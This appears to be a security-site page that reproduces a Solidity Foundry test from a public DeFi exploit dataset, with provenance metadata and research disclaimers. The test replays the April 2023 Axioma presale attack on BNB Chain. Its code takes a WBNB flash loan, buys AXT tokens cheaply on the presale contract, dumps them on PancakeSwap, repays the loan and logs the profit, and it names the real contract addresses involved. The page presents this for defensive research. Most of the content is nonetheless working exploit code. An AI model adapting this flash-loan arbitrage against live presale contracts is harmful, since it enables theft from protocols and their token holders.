Skip to content
THREATWIRE

Public reproduction file

src/test/2023-04/Axioma_exp.sol

Public reproduction file for dataset entry Axioma.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-04/Axioma_exp.sol64 lines
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7/*
8@Analysis
9https://twitter.com/HypernativeLabs/status/1650382589847302145
101. buy on presale
112. sale on pancake v2
12@TX
13https://bscscan.com/tx/0x05eabbb665a5b99490510d0b3f93565f394914294ab4d609895e525b43ff16f2*/
15interface IAxiomaPresale {
16 function buyToken() external payable;
19contract ContractTest is Test {
20 address axt = 0xB6CF5b77B92a722bF34f6f5D6B1Fe4700908935E;
21 address axiomaPresale = 0x2C25aEe99ED08A61e7407A5674BC2d1A72B5D8E3;
22 address axt_wbnb_pair = 0x6a3Fa7D2C71fd7D44BF3a2890aA257F34083c90f;
23 address payable pancakeRouter = payable(0x10ED43C718714eb63d5aA57B78B54704E256024E);
24 address wbnb_usdt_b = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681; // dodo wbnb-usdt pool
26 function setUp() public {
27 vm.createSelectFork("bsc", 27_620_321 - 1);
28 }
30 function testExploit() public {
31 uint256 flashLoanAmount = 32_500_000_000_000_000_000;
32 address wbnb = DVM(wbnb_usdt_b)._BASE_TOKEN_();
33 DVM(wbnb_usdt_b).flashLoan(flashLoanAmount, 0, address(this), abi.encode(wbnb_usdt_b, wbnb, flashLoanAmount));
34 }
36 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
37 (address wbnb_usdt_b, address wbnb, uint256 flashLoanAmount) = abi.decode(data, (address, address, uint256));
39 // 1. buy
40 WETH(wbnb).withdraw(flashLoanAmount);
41 IAxiomaPresale(axiomaPresale).buyToken{value: flashLoanAmount}();
43 // 2. sale
44 uint256 axtBalance = IERC20(axt).balanceOf(address(this));
45 bscSwap(axt, wbnb, axtBalance);
47 // 3. payback and get profit
48 IERC20(wbnb).transfer(msg.sender, flashLoanAmount);
49 uint256 profit = IERC20(wbnb).balanceOf(address(this));
50 emit log_named_decimal_uint("[After Attacks] Attacker WBNB balance", profit, 18);
51 }
53 fallback() external payable {}
55 function bscSwap(address tokenFrom, address tokenTo, uint256 amount) internal {
56 IERC20(tokenFrom).approve(pancakeRouter, type(uint256).max);
57 address[] memory path = new address[](2);
58 path[0] = tokenFrom;
59 path[1] = tokenTo;
60 IUniswapV2Router(pancakeRouter).swapExactTokensForTokensSupportingFeeOnTransferTokens(
61 amount, 0, path, address(this), block.timestamp
62 );
63 }

Analysis

Dataset entry

Public Foundry test for “Axioma” (2023-04-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
Axioma
Path
src/test/2023-04/Axioma_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
5886e251a96ce1d98b3798589d601c026fb22c3a
Language
Solidity
Size
65 lines
Date
2023-04-24
Licence
file header MIT; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-04/Axioma_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5886e251a96ce1d98b3798589d601c026fb22c3a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.